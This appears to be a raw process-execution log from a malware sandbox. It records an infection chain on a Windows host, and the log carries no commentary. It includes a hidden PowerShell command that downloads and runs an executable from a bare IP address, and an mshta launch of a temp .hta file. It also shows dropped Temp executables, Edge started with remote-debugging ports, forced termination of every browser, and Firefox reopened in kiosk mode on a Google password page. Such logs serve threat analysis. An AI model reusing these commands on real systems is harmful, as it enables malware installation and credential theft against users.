"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2152 /prefetch:2

C:\Windows\SysWOW64\mshta.exe

mshta "C:\Temp\hcx8DCaKO.hta"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=5232 /prefetch:2

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=5504 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=5488 /prefetch:2

C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe

"C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"

C:\Windows\system32\tasklist.exe

tasklist /FI "PID eq 5268"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe7bd946f8,0x7ffe7bd94708,0x7ffe7bd94718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2152 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2988 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3276 /prefetch:1

C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"

C:\Users\Admin\AppData\Local\Temp\10110440101\04fdd764f9.exe

"C:\Users\Admin\AppData\Local\Temp\10110440101\04fdd764f9.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2164 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3880 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3796 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3016 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=4808 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2668 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=3788 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=2736 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,1656918487511902865,4426264800342976021,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=3472 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe7bd946f8,0x7ffe7bd94708,0x7ffe7bd94718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2128,12576953914106017261,6191976387088066776,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 /prefetch:3

C:\Users\Admin\AppData\Local\Temp\10110450101\46cbb53831.exe

"C:\Users\Admin\AppData\Local\Temp\10110450101\46cbb53831.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5772 -ip 5772

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5772 -s 2528

C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"

C:\Users\Admin\AppData\Local\Temp\10110460101\4f38749964.exe

"C:\Users\Admin\AppData\Local\Temp\10110460101\4f38749964.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe7bd946f8,0x7ffe7bd94708,0x7ffe7bd94718

C:\Windows\system32\tasklist.exe

tasklist /FI "PID eq 5268"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2100 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2912 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3312 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2112 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2092 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3036 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2816 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3628 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=4844 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=4792 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=3700 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3860 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\10110470101\a4351ba7b1.exe

"C:\Users\Admin\AppData\Local\Temp\10110470101\a4351ba7b1.exe"

C:\Users\Admin\AppData\Local\Temp\BGJ28V9RAH6PNAXACVV4S9MSBD.exe

"C:\Users\Admin\AppData\Local\Temp\BGJ28V9RAH6PNAXACVV4S9MSBD.exe"

C:\Users\Admin\AppData\Local\Temp\10110480101\6baf3702c9.exe

"C:\Users\Admin\AppData\Local\Temp\10110480101\6baf3702c9.exe"

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM firefox.exe /T

C:\Windows\system32\tasklist.exe

tasklist /FI "PID eq 5268"

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM chrome.exe /T

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM msedge.exe /T

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM opera.exe /T

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM brave.exe /T

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1956 -parentBuildID 20240401114208 -prefsHandle 1884 -prefMapHandle 1876 -prefsLen 27434 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {07d493d7-7ac5-4527-a6f8-21b9ac677c4a} 5252 "\\.\pipe\gecko-crash-server-pipe.5252" gpu

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2396 -parentBuildID 20240401114208 -prefsHandle 2388 -prefMapHandle 2384 -prefsLen 28354 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1c0ac4e6-7d0b-4ede-9eab-ba21e8ac48a4} 5252 "\\.\pipe\gecko-crash-server-pipe.5252" socket

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3008 -childID 1 -isForBrowser -prefsHandle 3000 -prefMapHandle 2996 -prefsLen 22746 -prefMapSize 244658 -jsInitHandle 1348 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {92e2bbb9-71e5-44ed-9dfd-f2def996a4c8} 5252 "\\.\pipe\gecko-crash-server-pipe.5252" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4212 -childID 2 -isForBrowser -prefsHandle 4204 -prefMapHandle 4200 -prefsLen 32844 -prefMapSize 244658 -jsInitHandle 1348 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6743b8a5-073a-49cd-b24c-8553910ccb93} 5252 "\\.\pipe\gecko-crash-server-pipe.5252" tab

C:\Program Files\Mozilla Firefox\firefox.exe

